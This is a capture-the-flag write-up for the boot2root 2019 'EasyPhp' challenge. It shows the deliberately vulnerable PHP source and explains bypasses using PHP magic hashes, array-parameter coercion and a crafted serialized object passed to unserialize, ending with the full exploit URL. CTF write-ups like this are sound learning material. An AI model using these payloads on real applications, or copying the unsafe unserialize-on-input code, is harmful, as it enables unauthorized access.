boot2root 2019
EasyPhp
This challenge was split into 3 parts - one had to give inputs to fulfill all 3 parts before getting the full flag.
<?php
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
$str1 = $_GET['1'];
if(isset($_GET['1'])){
if($str1 == md5($str1)){
echo $flag1;
}
else{
die();
}
}
else{
die();
}
$str2 = $_GET['2'];
$str3 = $_GET['3'];
if(isset($_GET['2']) && isset($_GET['3'])){
if($str2 !== $str3){
if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){
echo $flag2;
}
else{
die();
}
}
else{
die();
}
}
else{
die();
}
?>
<?php
class Secrets {
var $temp;
var $flag;
}
if (isset($_GET['4'])) {
$str4 = $_GET['4'];
if(get_magic_quotes_gpc()){
$str4=stripslashes($str4);
}
$res = unserialize($str4);
if ($res) {
$res->flag=$flag3;
if ($res->flag === $res->temp)
echo $res->flag;
else
die();
}
else die();
}
?>
The first part:
if(isset($_GET['1'])){
if($str1 == md5($str1)){
echo $flag1;
}
...
requires one to pass input
where input == md5(input)
. Note the use of loose comparison ==
. A list of values that satisfy this condition can be found here. The issue here is how PHP compares strings loosely - "0e12345" == "0e45678"
returns true
.
The second part:
if(isset($_GET['2']) && isset($_GET['3'])){
if($str2 !== $str3){
if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){
echo $flag2;
...
I got stumped on this one for a while until I ran across this. If you pass arrays as inputs to these parts, it gets coerced to Array
, resulting in md5($salt . "Array") == md5($salt . "Array")
which satisfies this part.
The third part:
class Secrets {
var $temp;
var $flag;
}
if (isset($_GET['4'])) {
$str4 = $_GET['4'];
if(get_magic_quotes_gpc()){
$str4=stripslashes($str4);
}
$res = unserialize($str4);
if ($res) {
$res->flag=$flag3;
if ($res->flag === $res->temp)
echo $res->flag;
else
die();
}
else die();
}
Since strict comparison ===
is used here, theres nothing to be abused there.
The first thing that came to mind before I sat down and read the docs properly was to make use of getters to return $flag
when $temp
was requested. Of course, after trying it, I realised that serialize(...)
does not serialize methods.
After seeing this, I wondered - what if I just made $temp
refer to $flag
? The following code generates a serialized string where $temp
refers to $flag
.
<?php
class Secrets {
var $temp;
var $flag;
}
$test = new Secrets;
$test->temp = &$test->flag;
$ser = serialize($test);
echo $ser;
?>
It turns out that actually works - the URL http://3.16.68.122/Easy-php/?1=0e215962017&2[]=a&3[]=b&4=O:7:%22Secrets%22:2:{s:4:%22temp%22;N;s:4:%22flag%22;R:2;}
returns the flag!